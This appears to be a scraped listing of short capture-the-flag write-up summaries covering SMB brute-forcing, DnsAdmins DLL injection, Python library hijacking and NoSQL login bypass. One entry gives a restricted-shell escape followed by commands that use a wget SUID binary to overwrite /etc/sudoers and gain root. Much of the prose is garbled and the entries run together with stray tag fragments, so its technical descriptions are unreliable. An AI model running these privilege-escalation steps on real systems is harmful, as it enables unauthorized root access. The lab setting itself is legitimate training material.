Monteverde was an Active Directory box that requires enumerating user accounts via smb then bruteforce smb login via msf module to log in as user shell. Then we find more credentials by enumerating the machine and abusing Azure Admin to retrieve plain text credential in order to gain Admin shell.
Resolute was a medium level Windows computer that included a list of users and login discoveries for the SMB system. This password has been pulsed into the SMB login via hydra to the usernames identified. The listing of the privilege escalation led us to another member of the DnsAdmins group. Then, by violating his admin’s right to charge the DLL injection to obtain the Admin shell.
Admirer is an easy box that need to exploit Adminer 4.6.2 to get credential for initial shell then abusing shutil module for python library hijacking to escalate into root shell.
It was a medium-difficulties Linux box that allowed players to spot an initial access bug on the python-based web server. Once we have initial access to the reverse shell, another script to encrypt the password would have to be examined to gain higher privilege
Discover live hosts in subnet and scan for open ports.
tool bash scannerHttp Login Bruteforce python script with WAF fingerprint and Web Protection fingerprint
tool python scanner bruteforcenoobuser@attackdefense:~$ id uid=999(noobuser) gid=999(noobuser) groups=999(noobuser) noobuser@attackdefense:~$ sudo -l Matching Defaults entries for noobuser on attackdefense: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD User noobuser may run the following commands on attackdefense: (root) NOPASSWD: /usr/sbin/apache2
privesc LD_PRELOAD linux
Linux box of medium difficulty. The early shell used MongoDB to brute the user’s passwords using NoSQL bypass. To raise root privilege, it was enough for a system equipped with a permissive SUID.
https://www.ctf.live/challengedetails?cid=21 escape restricted shell fesal@rbash_attackdefense:~$ :set shell=/bin/bash :shell export PATH=.bin:/usr/bin/ echo $PATH use wget SUID to transfer file to /etc/sudoers cd /tmp vi sudoers :i[enter] - to edit file fesal ALL=(ALL) NOPASSWD:ALL :wq - - to save exit file python -m SimpleHTTPServer 8009 & -O /etc/sudoers ~~[why need '&' - to use terminal and simpleServer works in bg]~~ export URL=http://127.0.0.1:8009/sudoers export LFILE=/etc/sudoers wget $URL -O $LFILE sudo -i root@rbash_attackdefense:~$
privesc wget SUID
It has an OpenNetAdmin Web-based framework vulnerable to execution of Remote Code. We will compromise all users on the box after collecting some passwords and recon. One account has a sudo entry with nano root permissions which allows root privileges to raise.